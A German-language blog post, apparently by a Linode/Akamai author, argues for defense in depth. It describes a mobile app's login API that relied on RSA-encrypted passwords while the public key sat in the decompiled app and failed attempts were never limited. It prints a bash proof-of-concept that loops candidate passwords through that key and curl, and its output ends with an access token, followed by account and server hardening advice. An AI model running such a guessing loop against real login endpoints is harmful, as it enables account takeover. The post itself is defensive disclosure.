Zum Inhalt springen
BlogSicherheitAuthentifizierung ist nicht alles

Authentifizierung ist nicht alles

Ein Anmeldebildschirm mit einem leeren Benutzernamen und einem versteckten Passwort mit dem Text "Authentifizierung ist nicht alles".

Im Laufe der Geschichte kam es zu unzähligen Misserfolgen, weil die Planer zu viel Vertrauen in die Qualität ihrer Lösungen hatten. Ob es sich um die unsinkbare Titanic oder die uneinnehmbare Maginot-Linie des Zweiten Weltkriegs handelt - zu viel Vertrauen in eine einzige Lösung hat immer wieder zu schrecklichen Katastrophen geführt.

In der Welt der Cybersicherheit ist das nicht anders. Wenn Sie nur eine einzige Lösung für die Cybersicherheit haben, sind Probleme vorprogrammiert.

Die Gefahren einer einzigen Lösung für die Sicherheit

In diesem Artikel befassen wir uns mit einem speziellen Fall, in dem dies bei einem E-Commerce-Anbieter der Fall war. Dieses Unternehmen hat eine neue Anmelde-API für seine mobile App entwickelt. Sie verstärkten ihre Sicherheit, indem sie eine 1024-Bit-RSA-Verschlüsselung des Passworts in der Nutzlast aller Authentifizierungsanfragen verlangten.

Dies ist eine gute Idee. Schließlich macht es Man-in-the-Middle-Angriffe weitgehend nutzlos, da die Authentifizierungsinformationen nicht für Menschen lesbar sind. Sie erscheinen als base64-kodierte und RSA-verschlüsselte Zeichenfolge. Da die Authentifizierungsanfragen von der eigenen Anwendung kamen, war dies ein ziemlich guter Ansatz. Daumen hoch.

Aber... es geht um mehr als das. Es war keine gute Idee zu denken, dass diese Sicherheitsmaßnahme alles war, was sie brauchten. Anstatt die Sicherheit durch Maßnahmen wie das Erzwingen einer maximalen Anzahl fehlgeschlagener Kennwortversuche weiter zu verbessern, entschied man sich, es einfach auszuliefern und sich dann anderen Entwicklungsarbeiten zuzuwenden.

Auch wenn es den Anschein hat, dass alles in Ordnung war, gab es einen erheblichen Fehler in ihrer Lösung. Der öffentliche 1024-Bit-Schlüssel war mit Hilfe von JADX zur Dekompilierung ihrer mobilen App leicht zu erkennen.

Indem er den öffentlichen Schlüssel in einer lokalen Datei speichert, kann ein Angreifer beliebige Passwörter durchgehen, sie alle mit dem öffentlichen Schlüssel des Ziels verschlüsseln und die Sicherung des Authentifizierungsendpunkts komplett rückgängig machen.

Da es für diesen Endpunkt keine Obergrenze für fehlgeschlagene Kennwortversuche gab, schrieb ich ein bash Skript, das eine Prüfung für so viele Kennwörter wie gewünscht automatisieren würde. Ich bewies dem E-Commerce-Anbieter das Problem mit einem einfachen Countdown für mein Passwort, den ich zur Demonstration des Problems eingerichtet hatte:

#!/bin/bash
API_ENDPOINT=" https://auth-api.example.com/login/"
for i in {10..4}
do
echo "Welcome $i"
PASS="faster${i}ward"
echo $PASS
export PASS_ENCRYPTED=`echo -n $PASS | openssl rsautl -inkey public_key.pem -pubin -pkcs -encrypt 2>/dev/null | base64`
echo $PASS_ENCRYPTED
curl -s -H "user-agent: Android com.example.tw.catalogue/3.2.9" -H "authorization: bearer" -H
"content-type: application/Json; charset=utf-8" --data-binary
"{\"password\":\"$PASS_ENCRYPTED\",\"t\":\"1808339324341\",\"email\":\"tleung@akamai.com\"}" --compressed $API_ENDPOINT
sleep 1
done

Hier ist die Ausgabe meines Skripts:

Welcome 10
faster10ward
ir/P32oOF9RxgoTirkbqDdRw5vnwFHaR9iAH5T+LMvHGrLIHGQbMSvOipTkC7XYZJobSQ3ykSUnNyqNfNJHbyGYADz+WumkEvT46TWfIM+qw3+q38IAV+IPgaqSCSajRcgQbfmVpy3ALbp8vUNFDT5DC8UXvFkd+vQp6BhpOTfw=
{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}
Welcome 9
Faster9ward
UmIIi2NAnLiGazENw0rg2+zMgW4o38LgjnM2yc5kz9wn29vIzDCKjqF4yn9GVVPziTz6bQWoDfjfvkgMrgkLMP0nnmITMhjKAxL1dkGEAkURmOYjHp2myXT6YGf+34UCXd1wBmIHWEjFE1L5MjVrhffKJhwAJdcfIZyiJ5B0QeY=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}

Welcome 8
faster8ward

EZX/hFBEp1+vsI7bMj1y2SANXjyF0FPnJZvNqbTiAVS15f+sIbOEauaxnPXcygTeVzMCo1qbyVaIIS3PyTeBSB+71cuIm0tnEPLTpVEFIEa9gZsmstMqSDZ5S1vKkSSdfplzoHZrqPAJtcMusngPlTljb 1Q74gDWZ5OpCf3u+C0=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}

Welcome 7

faster7ward

A3l3YVaLwiMc21aO0IrluA6qBfXqYbbkkA/900u4KPgrm5N7yQRwU0I4tWjnA1Sby4LlTPtXhNu 57xAOI2CSYb25OnR3oKW4Tuxi2vDwX+Nvjv/OWprLfmm7vjRw9UNYRDN0Em80vflE8XAn0ALYIWu3iBvQQ3eA68qF1O0OTkg=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}

Welcome 6

faster6ward

Iw4IQri/ZpvgvRTAZtnrT9dF2VyikyuHd2kpsmxTA9tzS0VwAcD3IaRXTUtbdW2DW+WSTl4AU6Pbvmx3ntzOeygBVWnjjQv+s5iB/XnbfDEO/nJJd3RVyB6DehGGCvBs7CHofb5bqGQPc4KWoyWlvhqdAAn9nnOasrorVhVOn44=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"total":0}
Welcome 5

faster5ward

l+JV6BCRUEBWOmQywMDx9DvxPaVGNQQAsNBSpCWBmp3Lzrq6mX9ADvmkGVJRRkT7naz/udH+9HNC/lEX9K2GVO9ZAVHyqxRtjMvoNNjyx7rZZ/8chZRsT1MDb2Yu5rCmFrvruhcSGGHiRX4w/BLPj7PgfhNQQPmUkzVqzXMNW3o=

{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}

Welcome 4
faster4ward

SVZ0UtJMFqvCPYBY4JkvQGOf5Uf3ingQji91bI1wRtCKBSDi3zUazf+43E/jVM/LowQWkh9hK0f54Mk3KWBZoUnhjSItBpvU+bKizVYC5pwNb7aIwfkaN3ZBfQ6qLKBu3wC/1DmKXgqDdTyv3/wfVQSoaqkMl2Lvh7ND1OWDgnA=

{"msgCode":null,"msg":null,"resp":[{"access_token":"dcab64a8-4563-4f24-a9ea-1ffa04a92e27","refresh_token":"803f5d3e-5a6c-4414-9c3a-c36f4cef4d8d","scope":"read write trust","token_type":"bearer","env":"idc","expires_in":124571}],"success":true,"total":0}

Schauen wir uns das mal genauer an. In einem for Schleife beginne ich mit einer Willkommensnachricht, in der ich ankündige, welche Ziffer ich einfüge, um an das Kennwort zu gelangen, das ich für dieses Proof-of-Concept festgelegt habe. Dann sehen wir das Passwort und den verschlüsselten Wert, der an die API gesendet wird. (Sie haben doch nicht wirklich geglaubt, dass ich ein so einfaches Passwort verwende, geschweige denn, es hier preisgebe, oder?)

Schließlich gebe ich die API-Antwort auf meine Passwortprüfung aus. Bei den ersten sechs Versuchen erhalte ich eine erfolglose Antwort, aber als ich schließlich zu meinem hypersicheren (😉) Passwort von faster4wardlässt mich die API mit meinem normalen Berechtigungsumfang herein.

So viel zu RSA-verschlüsselten Authentifizierungsnutzdaten...

Wie Sie denselben Fehler vermeiden können

Nun, da wir das Problem erkannt haben, was können wir stattdessen tun? Beginnen wir mit dem grundlegenden Denkfehler, der uns hierher gebracht hat. Es gibt viele Dinge zu tun, um eine Webanwendung erfolgreich zu sichern, denn es gibt kein Patentrezept für die Sicherung einer Anwendung! Für unser obiges Beispiel benötigen Sie neben der starken RSA-Verschlüsselung noch weitere Maßnahmen.

Für die Sicherheit eines Systems, das dem Internet ausgesetzt ist, muss der Grundsatz der Tiefenverteidigung gelten: Mehrere Verteidigungsschichten müssen auf der gesamten Oberfläche Ihrer Webpräsenz eingesetzt werden, nicht nur an den Stellen, die Sie für besonders interessant oder offensichtlich zu verteidigen halten.

Glücklicherweise bietet Linode viele großartige Sicherheitsfunktionen, die direkt in unsere Plattform integriert sind, und es gibt viele Industriestandards, um einige häufige Angriffsvektoren zu bekämpfen. Einige dieser Lösungen gelten für Ihr Linode-Konto, und einige gelten direkt für Ihre Linodes. Schauen wir uns beide Arten von Schutz an.

Schutz des Admin-Zugangs zu Ihrem Linode-Konto

Wenn jemand in Ihr Linode-Konto eindringen kann, ist das Spiel vorbei. In Ihre Linodes einzudringen wird trivial. Aus diesem Grund sind Linode-Konten auf Sicherheit ausgelegt. Standardmäßig muss jedes Linode-Konto mit einer Telefonverifizierung gesichert werden. Linode erfordert auch die Konfiguration von Sicherheitsfragen und -antworten für die Wiederherstellung des Kontos.

Zusätzlich zur Telefonverifizierung können Sie auch eine Zwei-Faktor-Authentifizierung mit einem zeitbasierten Einmal-Passwort (TOTP) konfigurieren. Obwohl dies für Konten nicht erforderlich ist, wird die Aktivierung von 2FA dringend empfohlen, da sie viel sicherer ist als ein Passwort und Sicherheitsfragen und sogar sicherer als Telefonverifizierungscodes.

Eine weitere Sicherheitsebene ist verfügbar, um ein Linode-Passwort komplett zu umgehen. Sie können eine Drittanbieter-Authentifizierungsquelle (TPA) verwenden. Mit dieser Methode können Sie sichere Methoden für die Anmeldung bei einer Drittanbieterquelle Ihrer Wahl konfigurieren (derzeit werden Google und GitHub dafür unterstützt). Dies verringert die Wahrscheinlichkeit, dass ein entwendetes Passwort dazu führt, dass Sie den Zugang zu Ihrem Linode-Konto verlieren.

Eine letzte Methode zum Schutz Ihres Kontos besteht darin, bestimmte Benutzer einzurichten, die auf bestimmte Teile Ihres Kontos zugreifen können. Auf diese Weise können Sie festlegen, was Unterbenutzer in Ihrem Konto tun können, und so die Möglichkeit verringern, dass ein Angreifer Ihrem Konto ungehinderten Schaden zufügt. 

Es ist eine gute Praxis, diese Trennung zwischen den Benutzern, die auf die verschiedenen Teile Ihrer Infrastruktur zugreifen, einzuführen. Wenn Sie nur ein Team sind, ist das vielleicht nicht nötig. Wenn Sie jedoch eine echte Trennung der Belange vornehmen, können Sie damit sicherstellen, dass keine unbefugten Änderungen an Ihrem Konto oder Ihrer Infrastruktur vorgenommen werden.

Sichern Sie Ihre Linodes

Die Absicherung Ihres Kontos ist zweifellos wichtig, aber die Absicherung Ihrer Server und Infrastruktur ist vielleicht noch wichtiger. Schließlich werden die meisten Angreifer versuchen, über die Infrastruktur in Ihre Infrastruktur einzudringen, und nicht über Ihren Hosting-Anbieter. Linode deckt Sie auch hier ab. 

Einer der besten Orte, um damit zu beginnen, ist die Linode App Marketplace. Egal, ob Sie Sicherheitslösungen wie Haltdos WAF einsetzen möchten, um bösartigen Datenverkehr an den Toren Ihrer Server zu stoppen, oder ob Sie einen Überwachungsstack wie Prometheus + Grafana mit einem Klick installieren möchten - viel einfacher als mit Marketplace können Sie Ihren Stack nicht sichern und überwachen.

Anwendungen von Drittanbietern sind auch nicht die einzigen Lösungen, die Ihnen zur Verfügung stehen. Linode Cloud Firewall ist eine großartige Lösung, die einfach direkt über den Cloud Manager konfiguriert werden kann. Die Verwendung von Linode Cloud Firewall und einer Firewall auf Ihrer Linode ist auch eine gute Idee.

Eine weitere gute Praxis ist es, sicherzustellen, dass Ihre Server gegen DDoS-Angriffe geschützt sind. Mit Linode verteidigen Sie Ihre gesamte Infrastruktur standardmäßig gegen diese Angriffe - und das ohne Kosten! Sie müssen nicht einmal etwas tun, um es zu konfigurieren.

Fazit

Es gäbe noch viel mehr zum Thema Sicherheit zu sagen, aber das reicht wohl erst einmal. Alles in allem sollten Sie vermeiden, dass Ihre clevere Lösung für ein Problem dazu führt, dass Sie vergessen, sich um die anderen Dinge zu kümmern, die Sie in Ihrem Sicherheitskonzept übersehen könnten.

Kommentare

Kommentar abgeben

Ihre E-Mail Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit *gekennzeichnet